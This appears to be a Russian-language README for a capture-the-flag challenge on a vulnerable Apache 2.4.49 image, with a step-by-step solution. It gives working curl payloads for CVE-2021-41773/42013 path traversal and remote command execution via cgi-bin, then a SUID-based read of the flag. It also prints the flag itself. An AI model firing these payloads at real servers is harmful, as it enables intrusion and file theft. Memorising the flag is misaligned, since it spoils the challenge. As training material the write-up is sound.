Files
2025-12-22 05:19:38 +03:00
..
2025-12-22 05:19:38 +03:00

Информация для участников

  • Образ на базе vulhub/httpd:2.4.49, включён mod_cgi и ScriptAlias /cgi-bin/.
  • Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
  • В контейнере есть пользователь flagger с флагом в /home/flagger/flag.txt.
  • Для чтения флага подготовлен SUID-клон cat по пути /opt/dir/ping.

Решение (пошаговый райтап)

1.

  • curl -I http://<ip>:<port>/ → заголовок Server: Apache/2.4.49 (Unix).
  • curl http://<ip>:<port>/cgi-bin/test.sh выдаёт CGI is working!, значит CGI разрешён.

2.

Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность .%2e/, поэтому с --path-as-is можно выйти за ScriptAlias.

curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Успешное чтение /etc/passwd подтверждает уязвимость.

3.

При включённом CGI можно вызвать системную sh напрямую:

curl --path-as-is -X POST \
  'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; id'

Команда выполняется от имени www-data.

4.

Через RCE находим SUID-бинарники и видим подготовленный /opt/dir/ping:

curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'

Так как директория flagger недоступна www-data, используем этот SUID-клон cat.

5.

Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):

curl --path-as-is -X POST \
  'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'

Ответом придёт содержимое флага.

Флаг

caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}